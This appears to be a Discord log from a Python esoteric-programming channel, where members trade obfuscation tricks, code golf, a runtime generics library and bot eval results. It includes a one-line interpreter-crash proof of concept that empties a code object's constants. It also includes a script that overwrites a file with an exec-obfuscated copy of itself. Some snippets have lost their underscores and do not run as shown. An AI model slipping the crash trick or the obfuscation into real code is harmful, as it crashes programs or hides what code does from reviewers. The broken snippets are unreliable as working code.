this is the kind of thing where there's no "impossible", the best you can ever do is "well it's possible but in practice it takes longer than the age of the universe" if you can manage to shove a huge NP problem into it 
I seem to remember there's some mathematical proof that no method of obfuscation is foolproof, but that no method of deobfuscation is either.
nerds
write in COBOL -- that's foolproof
!e
(lambda: 'esoteric python')()
@sick hound :warning: Your eval job has completed with return code 0.
[No output]
@ashen bolt wrong channel, we've told you this before
something wrong with the loop but im not sure what
dont think you ended it unless you didnt intend to
Also, I figured out what the issue was with my generics; all changes were in-place, so Pair[X, Y] was the same object as Pair[Y, X] causing issues
What kind of coding is this and how do I get into it? XD
And why do people make it while it returns None
wanna see something I made tho
here
it's the correct channel
!e
_=()==()
__=(_+_)+(_+_)
___=((_+_)+(_+_)+(_+_)+(_+_)*(_+_)+(_+_)+(_+_)+(_+_))
____="%c"*(_+_+_+_+_)%(((_+_)*((___*__+(__+__))//(_+_))),((_)*((___*__+(__+__)-(_+_+_)))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_)*((___*__+(__+__)+(__+_+_+_)))))+" "+"%c"*(_+_+_+_+_)%(((_)*((___*__+(__+__)+(__+__+__+_+_+_)))),((_)*((___*__+(__+__)+(__)+(_+_+_)))),((_+_)*((___*__+(__+__)+(__)+(_+_+_)+(_+_+_))//(_+_))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_+_)*((___*__+(__+__)-(__))//(_+_))))
print(____)
@fossil estuary :white_check_mark: Your eval job has completed with return code 0.
HELLO WORLD
()==() is a way of saying 1
and
"%c"*5%() is character decoding
@verbal vapor
But there's a lot more than ()==() and the %c thing
I mean, there really isn't. its just adding ()==() together and multiplying and dividing to make more numbers
wait but how do you convert ints into strings(letters)?
The % formatting
Hi everyone, I'm trying to upload images from TinyMCE's textarea to Django's server side and call them back as a list. Anyone tried to struggle with it before?
can you point if there is a specific ch about it? @fossil estuary
What's the shortest way to write A=''? (A can equal a blank string, None, or anything. As long as it's written shorter than A='')
Basically what's the shortest way to create a variable
x=0 is as short as you can get. With more variables you can chain x=y=z=0 for optimal golfing, while with lambda you can bind more names with little extra chars lambda x,y,z:
at times unpacking iterables is most efficient: x,y,*z=some_iter
What if I needed x to be blank?
what do you mean by blank? None? Falsey? literally any value?
what are you trying to golf?
you might not be in the right channel, because #esoteric-python is for making code ugly
Ugly but short
(that's called golfing) x=''
oh mb
I assumed golfing was assigning multiple variables in the same line
Well, thanks!
Ugly? Like this?
________.strip()for ___ in ______ for ________ in ___.split(chr((()==())<<5)*2)
Looks like a programming assignment question, "fill in the blanks"
obfuscation with zalgo text would be a very different kind of obnoxious https://lingojam.com/ZalgoText
!e ```py
_ͦ̆̈́҉̛̘͡=4
print(_ͦ̆̈́҉̛̘͡)
@floral meteor :x: Your eval job has completed with return code 1.
001 | File "<string>", line 1
002 | _ͦ̆̈́҉̛̘͡=4
003 | ^
004 | SyntaxError: invalid character '҉' (U+0489)
A much shorter version of my minimal LOAD_CONST crash PoC
eval((lambda:0).__code__.replace(co_consts=()))
wow
wouldn't map(str.strip(),___.split(...)) be shorter?
from generic_types import List, Pair
def main():
x = List[Pair[int, str]]()
x.append(Pair[int, str](1, "2"))
x.append(Pair[int, str](3, "4"))
print(x)
x.append(Pair[int, int](5, 2))
if __name__ == "__main__":
main()
``` ```py
/home/mart/.pyenv/versions/3.9.0rc2/bin/python /home/mart/git/snippets/generics/test.py
[Pair(1, '2'), Pair(3, '4')]
Traceback (most recent call last):
File "/home/mart/git/snippets/generics/test.py", line 13, in <module>
main()
File "/home/mart/git/snippets/generics/test.py", line 9, in main
x.append(Pair[int, int](5, 2))
File "/home/mart/git/snippets/generics/generics.py", line 76, in wrapper
assert isinstance(bound.arguments[k], na.get(k, v.annotation)), \
AssertionError: Parameter 'obj' was of type 'Pair[int, int]', expected 'Pair[int, str]'
Process finished with exit code 1
``` IT WORKS
oh no
this will break
on py4 and code that uses from __future__ import annotations
because List["T"] will be evaluated as List[T]
and T doesn't exist :(
Postponed annotations are 3.10
oh shit right
well uh
dang
how should I deal with this
I could make a letter for each and inject it into globals but eh
nope, that doesn't fool get type hints it seems
dang
postponed evaluation of annotations really is quite tricky
for type hints in a dynamic language to be both available at runtime and forward-referencing, some hacks are inevitable
ugh I hate everything about this
For example, to make forward-referencing typehints work when translating native dataclasses to Pydantic models, I have to do this horrible dance:
from dataclasses import asdict
from pydantic.dataclasses import dataclass as pydantic_dataclass
import lib.problem
from fastapi import FastAPI
app = FastAPI()
Problem = pydantic_dataclass(lib.problem.Problem)
Problem.__pydantic_model__.update_forward_refs(**lib.problem.__dict__)
@app.get("/problems/{id}", response_model=Problem.__pydantic_model__)
async def foo(id: int):
return asdict(lib.problem.Problem(
name=f"Problem #{id}",
long_description="some_description",
tests=[],
))
And this is why postponed evaluation being the default might break some things
yikes
for me the problem is that I use strings for generics in type hints, but get_type_hints likes to try and evaluate those, causing an infinite loop
!e
_=()==()
print("%c" % _)```
@sick hound :white_check_mark: Your eval job has completed with return code 0.
!e
_=(()==())
print("%c" % _)```
@sick hound :white_check_mark: Your eval job has completed with return code 0.
alright
!e
_=()==()
__=(_+_)
___=(_+_+_)
____=((__+___)*(__+___)-(___))
print("%c" % ____)
@sick hound :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 4, in <module>
003 | TypeError: unsupported operand type(s) for -: 'str' and 'int'
!e
_=()==()
__=(_+_)
___=(_+_+_)
____=((__+___)*(__+___)-(___))
print("%c" %____)
@sick hound :white_check_mark: Your eval job has completed with return code 0.
@formal sandal got any tips on how to trick the annotation parser into thinking something is a type when it isn't?
what do you mean?
Well, you could make a "container type" that is a dummy type holding a value
like Literal, but for any types
!e
class Dummy(type):
def __init__(self, name, bases, dict_):
self.value = dict_["_"]
def dummy_type(x):
return Dummy(f"dummy_type({x!r})", (), {"_": x})
Two = dummy_type(2)
print(Two)
print(Two.value)
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
001 | <class '__main__.dummy_type(2)'>
002 | 2
@grave rover ^^^
no I mean like ```py
@generic("T")
class List:
def getitem(self, index) -> "T":
...
there's also -> List["T"] for recursive forward references, but idk how to deal with those either
are you making a runtime validation engine for type hints?
hm, you could create type variables on the fly, I suppose
implementing a type checker isn't easy, haha 🙂
Because you'll have to figure out covariance, contravariance, invariance...
and then there might be recursive types, like R : int -> (int, R) -- that's a perfectly valid type, right? would be nice to support
I don't think Python does 🤔
I mean
Have you seen what I've been doing lol
the problem right now is the from __future__ import annotations part aka py3.10
I need someone who REALLY knows how to push compacting to it's limits
the absolute bare minimum code possibly needed to run
@runic ruin just state what you actually, people won't just volunteer
while True:
B,D,E,G,C,M,A,H='','Input: ',input,range,print,['0','7','8','9'],'','Invalid number\n';import random as I
for J in G(4):B+=str(I.randint(1,6))
def F():
global A
if A==B:C(f"Correct! The code was {B}\n\n")
elif len(A)!=4 or A.isalpha():C(H);A=E(D);F()
else:
for O in A:
if O in M:C(H);A=E(D);F();return
I,J,K,G=0,0,0,list(B)
for L in A:
if L in G:K+=1;G.pop(G.index(L))
for P in A:
if P==B[I]:J+=1
I+=1
C(f"Hint {N+1}: {A} | {K} in the code | {J} in the right place\n")
for N in G(10):
if A==B:break
else:A=E(D);F()
if A!=B:C(f"Incorrect. The code was {B}\n")
```I need this to be as compact as it possibly can
If you want to execute both if and else....
if <condition>
pass
else:
pass
if print("hello") == -1:
print("hello")
else:
print("world")
This is a channel and not just for a 2 person dialogue 😄
Ah, I thought you were talking to me
My bad
@calm moat out of curiosity, what instance would you need to run both an if and an else?
why not just remove the if else if it isn't doing its job?
def F():
global A
if A==B:C(f"Correct! The code was {B}\n\n")
elif len(A)!=4or A.isalpha():C(H);A=E(D);F()
else:
for O in A:
if O in M:C(H);A=E(D);F();return
I=J=K=0;G=[*B]
for L in A:
if L in G:K+=1;G.pop(G.index(L))
for P in A:
if P==B[I]:J+=1
I+=1
C(f"Hint {N + 1}: {A} | {K} in the code | {J} in the right place\n")
while True:
D,E,G,C,A,H='Input: ',input,range,print,[*'0789'],'Invalid number\n';from random import*;B=M=''
for()in[()]*4:B+=choice('123456')
for N in G(10):
if A==B:break
else:A=E(D);F()
if A!=B:C(f"Incorrect. The code was {B}\n")
```@runic ruin got it a bit shorter, there is still more room for improvement though
you could knock off a lot with one space indents
(First of all, thank you so much!) Second of all, "7111" should be an invalid number (because of the 7), but it isn't. Can you fix that?
def F():
global A
if A==B:C(f"Correct! The code was {B}\n\n")
elif len(A)!=4or A.isalpha():C(H);A=E(D);F()
else:
for O in A:
if O in M:C(H);A=E(D);F();return
I=J=K=0;G=[*B]
for L in A:
if L in G:K+=1;G.pop(G.index(L))
for P in A:
if P==B[I]:J+=1
I+=1
C(f"Hint {N + 1}: {A} | {K} in the code | {J} in the right place\n")
D,E,G,C,M,H='Input: ',input,range,print,[*'0789'],'Invalid number\n';from random import *
while True:
B=A=''
for()in[()]*4:B+=choice('123456')
for N in G(10):
if A==B:break
else:A=E(D);F()
if A!=B:C(f"Incorrect. The code was {B}\n")
```mistook 2 variables, mb
@proper vault Got another bug ```
Input: 6532
Correct! The code was 6532
Input: 6532
Hint 1: 6532 | 4 in the code | 4 in the right place
okay I can re-implement the entire get_type_hints function if I want to go through hell
fixed I think
probably a simple one for you guys but i have 4 variables, "age" , "sex" , "year" and "expected" & am trying to plot a graph using only the data from "male" which is in the "sex" column in my .csv file .. I have tried lifedf.plot.bar('year','expected') , but this is just plotting it all
using jupyter notebook btw
@onyx violet ask in #data-science-and-ml
thank you
np
Is there any way I can repay you?
Oh and- the game is based off of Mastermind in case you wanted to find it online
I am familiar, thanks
lak, got any ideas on how to deal with this typing issue?
no, I never did deal with type systems
damnit, it still tries to resolve "'a'" to a
That's the point of esoteric python
You experiment shit for the sake of it
This is simple but, just a test.
!e
# coding=unicode_escape
\x70\x72\x69\x6e\x74\x28\x22\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x22\x29
@fossil estuary :white_check_mark: Your eval job has completed with return code 0.
Hello World
Ah, Okay. I could use that
!e
# coding=unicode_escape
\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u0049\u0020\u0077\u006f\u006e\u0064\u0065\u0072\u002e\u002e\u002e\u0022\u0029
@fossil estuary :white_check_mark: Your eval job has completed with return code 0.
I wonder...
How does this work
I c
!e
# coding=unicode_escape
\u0065\u0076\u0061\u006c\u0028\u0027\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u004e\u0065\u0073\u0074\u0065\u0064\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0073\u002e\u0022\u0029\u0027\u0029
@fossil estuary :white_check_mark: Your eval job has completed with return code 0.
Nested functions.
!e print('\u0065\u0076\u0061\u006c\u0028\u0027\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u004e\u0065\u0073\u0074\u0065\u0064\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0073\u002e\u0022\u0029\u0027\u0029')
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
eval('print("Nested functions.")')
How does Python parse this
:)
Are there some rules for this in CPython that let this happen, need to see the source code that allows this
Is that mandatory? Man I’m on phone and don’t even have access to my laptop right now
Ah
Thanks
!pep 263
Had them for a while.
Ah, never knew about this
Yeah, It's quite interesting.
Lol I don't get it at all
It is mandatory if you want to use escaped unicode.
Np.
@fossil estuary stuff like https://pypi.org/project/brm/ uses that for custom syntax
Interesting.
wait I just realized why this shit is happening, I'm trying to resolve a type within the class creation
lol
so I need to use a forwardref that resolves at runtime I think?
https://hasteb.in/raw/nopitibu
This converts Python scripts to full unicode, with the variable _
what's the shortest way of getting the number: 774122746363641877 using only punctuation? (with the exception of print to show results)
is that prime lol
I helped make this 😄
Yup
would it be a esoteric python thing to find the large prime numbers?
ah too bad
thanks
lets see
!e
# coding=unicode_escape
\u0065\u0076\u0061\u006c\u0028\u0022\u0070\u0072\u0069\u006e\u0074\u0028\u0031\u0037\u0036\u002a\u002a\u0028\u0036\u0038\u002f\u002f\u0034\u0029\u0029\u0022\u0029
@fossil estuary :white_check_mark: Your eval job has completed with return code 0.
149181631640695203372066259729148542976
my graphics calculator can do better but it's in a terrible state of disrepair
!e ```py
print(107 * 4989949 * 1449872939)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
774122746363641877
discord user id?
yes
created: 2020-11-06 04:07:25.238000
wAIT no
i think it's a channel id
ok I got the 107
!e ```py
=[...]
=(...==...)-(...!=...)
__=<<;=<<<<<<<<
[-]=-//(++++++)-(++)
#____=>>(+++++)
print(*__)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
107
._.
What is this channel for?
Why there are so much "__" and "-" and "..."
Can someone explain?
its for weird python stuff
A lot of bitwise stuff, pretty sure
Its look like brainfuck, but inverted and modifed 🤔
!e ```py
=(...==...)
=[...]*(++)
__=+;=<<<<<<<<_
[-]=-//(++++++)-(++)
=>>(+++++)
____=<<(++++)
[]=*___**_
=*-(____<<<<<<<<);+=____**+____--_
[]-=___
[+]=#$%^&
print(,sep='*',end='=')
print([-]__[]_[+])
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
107*3398659*True=363656513
aww
🤯 🤕
!e
_=(...==...)
___=[...]*(_+_+_)
__=_+_;__=__<<__<<__<<_<<_
___[_-_]=__-__//(_+_+_+_+_+_+_)-(_+_+_)
__=__>>(_+_+_+_+_+_)
____=__<<(__+__+__+__+_)
___[_]=____*____*__*__
_____=____*____-(____<<__<<__<<__<<__);_____+=____*__*__*__+____-__-_
___[_]+=_____
___[_+_]=_#$%^&
print(*___,sep='*',end='=')
print(___[_-_]*___[_]*___[_+_])
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
107*4989949*True=533924543
from generic_types import List, Pair
def main():
x = List[Pair[int, str]]()
x.append(Pair[int, str](1, "2"))
x.append(Pair[int, str](3, "4"))
x[1:] = List[Pair[int, str]]([
Pair[int, str](5, "6"),
Pair[int, str](7, "8")
])
print(x)
x.append(6) # <= error
# ===
[Pair(1, '2'), Pair(5, '6'), Pair(7, '8')]
Traceback (most recent call last):
File "/home/mart/git/PythonSnippets/generics/test.py", line 20, in <module>
main()
File "/home/mart/git/PythonSnippets/generics/test.py", line 16, in main
x.append(6) # <= error
File "/home/mart/git/PythonSnippets/generics/generics.py", line 135, in wrapper
assert is_of_type(bound.arguments[k], v.annotation), \
AssertionError: Parameter 'obj' was of type 'int', expected 'Pair[int, str]'
I have done it
even supporting typing
!e ```py
=(...==...)
=[...]*(++)
__=+;=<<<<<<<<_
[-]=-//(++++++)-(++)
=>>(+++++)
____=<<(++++)
[]=*___**_
=*-(____<<<<<<<<);+=____**+____--_
[]+=___
=(*-(//(++))**(__)-(+(<<++)+(<<__))(<<____+))-(__+)-(<<(____+))+(*(<<*+__+)+*__+(+)**(__+))
[+]=____
print(___,sep='',end='=')
print([-]*[]*[+])
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
107*4989949*1449872939=774122746363641877
gottim
!e ```bf
+++++++++[>+++++++++<-]>++.
@floral meteor :x: Your eval job has completed with return code 1.
001 | File "<string>", line 1
002 | +++++++++[>+++++++++<-]>++.
003 | ^
004 | SyntaxError: invalid syntax
you need to write a bf interpreter for that
I have
then add that to your eval
@rugged sparrow it should, though that one would require f([list_int_1, list_int_2])
and now I have to make generic-typed versions for everything
weee
or write an introspection function that can generate them for you
that honestly sounds like more effort tbh
but its more extendable isnt it?
here's my half-baked version of List ```py
@generic("T")
class List(Iterable["T"]):
def init(self, state=()):
self._lst = list(state)
def __iter__(self) -> Iterator["T"]:
return ListIterator[self._("T")](self._lst)
# TODO: Union support
def __setitem__(self, key: Union[int, slice], value: Union["T", List["T"]]):
self._lst.__setitem__(key, value)
def __getitem__(self, key: Union[int, slice]) -> Union["T", List["T"]]:
res = self._lst.__getitem__(key)
if isinstance(key, int):
return res
return List[self._("T")](res)
def append(self, obj: "T"):
self._lst.append(obj)
def clear(self):
self._lst.clear()
def copy(self) -> List["T"]:
return List[self._("T")](self._lst.copy())
def count(self, value: "T") -> int:
return self._lst.count(value)
def extend(self, iterable: Iterable["T"]):
self._lst.extend(iterable)
def index(self, val: "T", start: int = 0, stop: int = 9223372036854775807) -> int:
return self._lst.index(val, start, stop)
def insert(self, index: int, value: "T"):
self._lst.insert(index, value)
def pop(self, index=-1) -> "T":
return self._lst.pop(index)
def remove(self, value: "T"):
self._lst.remove(value)
def __repr__(self):
return repr(self._lst)
def __add__(self, other: List["T"]) -> List["T"]:
return List[self._("T")](self._lst + other._lst)
for the methods that you dont modify you could use a loop in the class body right?
I'm trying to avoid metaclasses so people can use custom metaclasses combined with this system
you could look for a __generic_inherit__ dunder in the generic decorator that would just be a list of string names of methods to inherit from a specified class
and @generic would auto wrap them somehow
hold up, let me:
_,__,___ = BFInterpreter[3]
# Prints "Hello, world!"
_.interpret(
+_[+__[___<<___<+___>>___>>___]+__<-__<-__<<__<+__<++__]<<_._<++_._<++_._._+++_._<<++_._<---_._>>_._>_._+++_._------_._>-_._>>--_._
)
heh yes https://repl.it/@int6h/bfpy
someone managed to use <, but I couldn't figure it out
oh wait, you did
<< means two <s?
yes
cool 👍
I had to use multiple sentinel objects because the order of evaluation with chained comparisons & slice access is ambiguous
idr exactly how
a < b < c < d means exactly a < b and b < c and c < d, yes, that's... a bit crazy
Also
!e
print([] in [[]] in [False, True])
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
False
the bigger issue is that a < b < c is equivalent to bool(a < b) and b < c, and __bool__ isn't allowed to return non-bools
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
1
from brainfuck import brainfuck as __
_=()==();___=(_<<(_+_+_))+_+_
___=___*"+"+'['+___*'+'+'>'+(___-_)*'+'+'>'+(___-_-_)*'+'+'>'+((___//(_+_))+_)*'+'+'>'+(_+_+_)*'+'+'<'*(_<<(_+_))+'-]'
___+=">>>++++++++++++.<<+.>--..+++.>>++.<<++++++++.--------.+++.<.--------.>>>+."
print(__(___,_<<_<<_<<_)[_-_])
i don't remember exactly why chained comps caused me trouble, but they did
!e ```py
print(3 < 5 < 7 > 4 > 2 > (()==()))
might have been something like _ < _ < _[_ < _]
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
True
Here's an extract of code from my discord bot:
Don't use esoteric code in things that are meant to be used practically.
Like a discord bot made of only esoteric code would be a bad bad idea
unless it's made with that intention in mind, of course 🙂
i remember a while back someone was trying to write a oneline discord bot
I really hate to destroy the fun, but this uses ytdl 👀
it uses a few other external deps
and is old
I recall asyncio.coroutine is deprecated
How do I make this code more compact?
with open(Path(input()), "r+") as f:
content = f.read()
f.seek(0)
f.truncate()
f.write(f"_=()==()\nexec('%c'*{len(content)}%(")
sum = ""
for char in range(0, len(content)):
sum = sum + str(str("_+" * ord(content[char])).strip(str("_+" * ord(content[char]))[-1])) + ","
f.write(sum.strip(sum[-1]) + "))")```
I can do
for char in len(content):
instead right
Hey @grave rover!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
anger
Hmm, it says that string indices must be integers
What is
for char in range(0, len(content)):
different from
for char in content
for char in range(len(content)) will give you indexes
for char in content will give you the actual characters
Oo but that's actually better
!e ```py
string = "hello"
for i in range(len(string)):
print(string[i])
or
for char in string:
print(char)```
@last locust :white_check_mark: Your eval job has completed with return code 0.
001 | h
002 | e
003 | l
004 | l
005 | o
006 | h
007 | e
008 | l
009 | l
010 | o
Both give the same output just one is neater code (the bottom)
@rugged sparrow https://pastebin.com/tjWEPiSr
Pastebin
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
!e
print(1 or 5)
@shy remnant :white_check_mark: Your eval job has completed with return code 0.
1
!e
print(1 or 5)
@shy remnant :white_check_mark: Your eval job has completed with return code 0.
1
!e
print(1 or 5)
@shy remnant :white_check_mark: Your eval job has completed with return code 0.
1
?
1 everytime?
why would it change
@shy remnant :white_check_mark: Your eval job has completed with return code 0.
ok
surely print(1 or 5) would print true since both of them are valid?
@shy remnant or returns the first operand if it truthy, otherwise it return the second
!e print(None or True)
@shy remnant :white_check_mark: Your eval job has completed with return code 0.
True
also, this isn't really esoteric
eh i saw the print(1 or 5) above in the chat somewhere
@grave rover noice job with generics.py
hey, I am reading bytes from a file how do I increase the location of the pointer in the file for reading the byte
thanks, took me 20 damn hours to write, test, rewrite, test, re-rewrite, test and tweak
let me know if you find any bugs (other than [1, 2, 3] not being an instance of list because of pytypes)
a = [[0]*10]*10
a[0][1] = 1
print(a)
a=[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
a[0][1] = 1
print(a)
Please explain why how they are different??
@calm moat the * on a list doesn't copy
!e same reason as
a = b = []
c = a
b.append(2)
print(a is b is c, a, b, c)
@proper vault :white_check_mark: Your eval job has completed with return code 0.
True [2] [2] [2]
then how do I achieve the same output of the second part but by specifying lengths?
!e
a = [[0] * 10] * 10
print([id(l) for l in a])
a = [[0] * 10 for _ in range(10)]
print([id(l) for l in a])
@zealous widget :white_check_mark: Your eval job has completed with return code 0.
001 | [140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016]
002 | [140599422733760, 140599422734144, 140599422980800, 140599422142080, 140599422141952, 140599422158208, 140599422158144, 140599422158720, 140599422159744, 140599422157952]
memory addresses are all the same first example and all different in the 2nd!
interesting!🤔
.
as salt showed, a = [[0] * 10 for _ in range(10)]
ohh, my bad!
I am trying to obtain this: ["BERLIN", "eats", "PARIS", "drinks"] ... from this: "BERLINeatsPARISdrinks" and I've approached it in three ways:
city, city_bis = "".join(map(lambda c: c if c.isupper() else " ", "BERLINeatsPARISdrinks")).split()
verb, verb_bis = "".join(map(lambda c: c if c.islower() else " ", "BERLINeatsPARISdrinks")).split()
That obviously sucks because I am repeating the same iteration on the string.
Another way:
contents = "BERLINeatsPARISdrinks".translate(trans)
city = contents.find('Aa') + 1
verb = contents.find('aA', city) + 1
city_bis = contents.find('Aa', clue) + 1
!e ```py
import re
citys = re.findall(r'([A-Z]+)([a-z]+)', 'BERLINeatsPARISdrinks')
print(citys)
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
[('BERLIN', 'eats'), ('PARIS', 'drinks')]
Thanks @rugged sparrow but I must avoid reg exp. I thought about using itertools groupby but I can't.
ah ok
Do you want an esoteric solution, or an actual solution? @sick hound
A one liner would be great, @formal sandal. But anything I haven't thought of is welcome.
This was my first attempt:
prev_index = 0
checks = [str.islower, str.isupper, str.islower]
details = []
for index, char in enumerate("BERLINeatsPARISdrinks"):
if checks[-1](char):
details.append("BERLINeatsPARISdrinks"[prev_index:index])
checks.pop()
prev_index = index
if not checks: # handle last substring
details.append("BERLINeatsPARISdrinks"[prev_index:])
break
I thought of a similar thing, but with a generator function
!e
def tokenize(source: str):
token = ""
for char in source:
if token != "" and token.isupper() != char.isupper():
yield token
token = ""
token += char
if token != "":
yield token
print([*tokenize("BERLINeatsPARISdrinks")])
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
I'm sure this can be golfed to death
Looks interesting, going to play with it. Thanks @formal sandal. Why would you use generators? The string has to be evaluated entirely anyway, right?
right, but a generator makes producing a new element more concise
!e
There's also this atrocity
def tokenize(source: str):
token = ""
for char in source + source[-1:].swapcase():
if token != "" and token.isupper() != char.isupper():
yield token
token = ""
token += char
print([*tokenize("BERLINeatsPARISdrinks")])
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
You know, it's taken me five minutes to actually understand why it even works. 🙂
... let alone come up with it.
👀
well, that's what this channel is for
are you talking about the generator solution, or this particular hack?
The last one in particular.
The string concatenation(s) are going to be a killer but I like it. Thanks.
Not necessarily. In CPython, if a string has only one reference, it can optimize it into mutating the internal buffer
So storing the chars in a list and concatenating them might not be more performant
Yes. The "fastest" solution so far was to use "translate" and change all letters into either "a" or "A" depending on whether they're uppercase or lowercase.
Then one can look for "aA" or "Aa" to detect changes in case.
!e
def tokenize(source: str):
token = ""
for char in source + source[-1:].swapcase():
token = (token + char if token == "" or token.isupper() == char.isupper() else "") or (yield token) or char
print([*tokenize("BERLINeatsPARISdrinks")])
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
!e py s='BERLINeatsPARISdrinks' r=[];t=[a.isupper()for a in s];u=0 while s:n=t.index(u)if u in t else len(s);u=1-u;del t[:n];r.append(s[:n]);s=s[n:] print(r) highly inefficient, but pretty neat.
@proper vault :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
Ahahahah ... lovely @proper vault.
!e
def tokenize(source: str):
token = ""
for char in source + source[-1:].swapcase():
token = (token=="" or token.isupper()==char.isupper()) and token + char or (yield token) or char
print([*tokenize("BERLINeatsPARISdrinks")])
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
note to self: never, again, ask for advice in #esoteric-python before going to bed
!e
Slightly shorter
def tokenize(s,t=""):
for c in s+s[-1:].swapcase():t=(t==""or t.isupper()==c.isupper())and t+c or(yield t)or c
print([*tokenize("BERLINeatsPARISdrinks")])
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
Why the : in s[-1:], @formal sandal ?
What if the string is empty? 🙂
Oh, niiice. Didn't know that.
Avoids the "out of range" indeed.
Same with the first element. That's a nice trick. Thanks.
!e
Slightly shorter
tokenize=lambda s,t="":(x:=[])or[t:=(t==""or t.isupper()==c.isupper())and t+c or x.append(t)or c for c in s+s[-1:].swapcase()]and x
print([*tokenize("BERLINeatsPARISdrinks")])
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
Isn't append always going to return None?
yes
So why "or" it?
Ok, you don't care about its evaluation, you're just interested in the mutation of "x" and to keep it in one statement for the lambda.
ye
!e
s="BERLINeatsPARISdrinks"
t=""
f=str.isupper
print((x:=[])or[t:=(t==""or f(t)==f(c))and t+c or x.append(t)or c for c in s+s[-1:].swapcase()]and x)
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
This is actually 5 characters shorter than @proper vault's 
you definitely have the right to be smug 😄
!e
s="BERLINeatsPARISdrinks"
t=""
f=str.isupper
x=[]
for c in s+s[-1:].swapcase():t=(t==""or f(t)==f(c))and t+c or x.append(t)or c
print(x)
this is even better
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
['BERLIN', 'eats', 'PARIS', 'drinks']
Well, I have learnt a new term as well — "golfing".
🙂
Sleep well folks. Thanks for the instructive showcase @formal sandal.
def f():
try:
return f()
except (lambda: RecursionError)():
return False
else:
return True
a small paradox I came up with
!e def f(): try: return f() except (lambda: RecursionError)(): return False else: return True
@wind token :warning: Your eval job has completed with return code 0.
[No output]
@glacial rampart how is it a paradox?
this code is broken
It's not broken, the function is just never called :^)
yes it is
when the interpreter hits a RecursionError it allows for i think 2? more frames to handle it. here, one of those frames is that except block (which handles it by returning False)
only one call of f actually raises a recursion error, so that False just propagates up
if you did like py def f(): try: r = f() print(r) return return r except (lambda: RecursionError)(): return False else: return True itll run print(r) on every call
f() is only skipped on the call that raises the recursion error
oh im dumb i though you meant that the func was never called inside it
I counted 48 extra function calls between a recursionerror and a stack overflow in my repl.
its acc 50 frames idk where i got 2 from https://github.com/python/cpython/blob/67b769f5157c9dad1c7dd6b24e067b9fdab5b35d/Python/ceval.c#L861
i just copied @glacial rampart 's
i didn't do it
it wasn't meant to be runnable directly. if you wanted to run it, stick f() at the end
Well, the original code returns False
at least when called
because you return f() if you can, and False if you can't, the False propagates up the call frames
esoteric 🙂
how do you define variables in a one liner
a = 0
no
?
x=lambda r,y: r+y
!e py x=lambda r, y: r + y print(x)
@naive roost :white_check_mark: Your eval job has completed with return code 0.
<function <lambda> at 0x7fc45a48a040>
(lambda c, a: [
f(c, a) for f in [
lambda c, a: [c.__setattr__(k, a.coroutine(v)) for k, v in {
"on_ready": lambda: print("Ready!"),
}.items()],
lambda c, a: [c.command(name = k)(a.coroutine(v)) for k, v in {
"ping": lambda ctx: c.loop.create_task(ctx.send("Pong!"))
}.items()],
lambda c, a: c.load_extension("jishaku"),
lambda c, a: c.run(token)
]
])(
__import__("importlib").import_module("discord.ext.commands").Bot(command_prefix = "lambda: "),
__import__("asyncio")
)
small kind of esoteric discord bot
(a := 2) + a sort of thing?
what does that do
!e ```py
if (x := 2) < 3:
print(x)
@naive roost :white_check_mark: Your eval job has completed with return code 0.
2
hm
(from #internals-and-peps) @sick hound It seems that your function is tail-recursive, which means you can do tail call optimization!
!e
Any tail-recursive function can be re-written as this:
def tco(initial = lambda *args: args):
def decorator(step_fn):
def function(*args):
acc = initial(*args)
done = False
while not done:
done, acc = step_fn(*acc)
return acc
return function
return decorator
@tco(lambda n: (n, 1))
def factorial(n, total):
if n <= 0:
return True, total
else:
return False, (n - 1, total * n)
print(factorial(1005))
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
